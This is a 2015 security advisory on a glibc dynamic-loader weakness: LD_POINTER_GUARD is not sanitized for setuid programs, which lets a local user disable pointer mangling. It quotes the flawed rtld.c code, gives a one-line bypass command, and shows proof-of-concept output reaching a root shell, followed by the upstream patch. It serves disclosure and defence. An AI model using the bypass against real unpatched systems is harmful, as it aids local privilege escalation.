Glibc Pointer guarding weakness

Authors:Hector Marco & Ismael Ripoll
CVE:(pending)
BUG:Pointer guarding bypass in dynamic Setuid binaries
Dates:5 September 2015 - Public disclosure


Description

A weakness in the dynamic loader have been found, Glibc prior to 2.22.90 are affected. The issue is that the LD_POINTER_GUARD in the environment is not sanitized allowing local attackers easily to bypass the pointer guarding protection on set-user-ID and set-group-ID programs.

Pointer guarding is a security mechanism whereby some pointers to code stored in writable program memory (return addresses saved by setjmp(3) or function pointers used by various glibc internals) are mangled semi-randomly to make it more difficult for an attacker to hijack the pointers for use in the event of a buffer overrun or stack-smashing attack.


Impact

This security issue allows a local user to disable the pointer guard security mechanism, which makes the system weaker. Note that disabling the pointer mangling protection can not be exploited on its own, but an attack vector to modify the protected (mangled) pointer is necessary.

Unlike the previously published issue CVE-2013-4788 where static applications did not initialize the pointer mange, in this case only dynamic executables are affected. Static set-user-ID and set-group-ID programs are not affected.


The bug

The security issue appears because the LD_POINTER_GUARD environment variable is not sanitized for set-user-ID and set-group-ID programs. In other words, it is possible to disable the pointer mangle security even on set-user-ID binaries.

The bug is located in the function process_envvars in file "elf/rtld.c":

static void

process_envvars (enum mode *modep)
{
  char **runp = _environ;
  ...

  case 13:
  ...
    // Miss check of set-user-ID
    if (memcmp (envline, "POINTER_GUARD", 13) == 0)
        GLRO(dl_pointer_guard) = envline[14] != '0';
    break;

  case 14:
  ...
}

The dl_pointer_guard variable is used later to decide whether pointer guard protection is enabled or not. If LD_POINTER_GUARD is set to 0, then the dl_pointer_guard will contain 0. In this situation, the pointer mange protection will not be enabled regardless the permissions of the executable.


Exploit

To exploit the pointer mangle vulnerability in dynamic linked applications just execute the following command:

$ LD_POINTER_GUARD=0 /path_to_setuid_vulnerable_file

In order to show how to exploit this weakness in a real scenario, a PoC has been created which emulates a vulnerability that overwrites a pointer (return address) saved in the stack previously stored by the setjmp() library call.

Building the Glibc PoC vulnerability:

 $ gcc poc_pointer_dynamic_vul.c -o poc_pointer_dynamic_vul
 $ sudo chown root:root poc_pointer_dynamic_vul
 $ sudo chmod u+s poc_pointer_dynamic_vul

Test 1: Normal attack, without abusing of the weakness. The exploit fails.

 $ ./poc_pointer_dynamic_vul
 [+] Exploiting ...
 Segmentation fault (core dumped)

Test 2: Attack disabling the pointer mangle protection. The exploit success.

 $ LD_POINTER_GUARD=0 ./poc_pointer_dynamic_vul
 [+] Exploiting ...
 [+] hacked !!
 # id
 uid=1000(box) gid=1000(box) euid=0(root) groups=0(root)

Fixing

A patch which ignores the LD_POINTER_GUARD environment variable for set-user-ID and set-group-ID programs has been created and sent to Glibc developers.

diff --git a/elf/rtld.c b/elf/rtld.c
index 69873c2..abdc1a2 100644
--- a/elf/rtld.c
+++ b/elf/rtld.c
@@ -2472,7 +2472,8 @@ process_envvars (enum mode *modep)
          break;
        }
 
-     if (memcmp (envline, "POINTER_GUARD", 13) == 0)
+     if (!__libc_enable_secure
+         && memcmp (envline, "POINTER_GUARD", 13) == 0)
        GLRO(dl_pointer_guard) = envline[14] != '0';
      break;
 
diff --git a/sysdeps/generic/unsecvars.h b/sysdeps/generic/unsecvars.h
index d5b8119..9f1946a 100644
--- a/sysdeps/generic/unsecvars.h
+++ b/sysdeps/generic/unsecvars.h
@@ -11,6 +11,7 @@
   "LD_DYNAMIC_WEAK\0"                                \
   "LD_LIBRARY_PATH\0"                                \
   "LD_ORIGIN_PATH\0"                                 \
+  "LD_POINTER_GUARD\0"                               \
   "LD_PRELOAD\0"                                 \
   "LD_PROFILE\0"                                 \
   "LD_SHOW_AUXV\0"                               \
--
1.9.1

This patch prevents the weakness (if (!__libc_enable_secure ...) and also removes the LD_POINTER_GUARD from the user environment memory (file sysdeps/generic/unsecvars.h).

Patch available at: [ 0001-elf-rtld.c-Ignore-LD_POINTER_GUARD-for-set-user-ID-s.patch ]

Steps to patch Glibc:
$ git clone git://sourceware.org/git/glibc.git glibc.git
$ cd glibc.git/
$ git checkout 2edd5f5fddd97b7ac7adb1e7125afe434549d85d
$ git apply 0001-elf-rtld.c-Ignore-LD_POINTER_GUARD-for-set-user-ID-s.patch

Discussion

Security protection techniques are specially necessary to protect privileged processes. Set-user-ID executables constitute a security risk.



Hector Marco - http://hmarco.org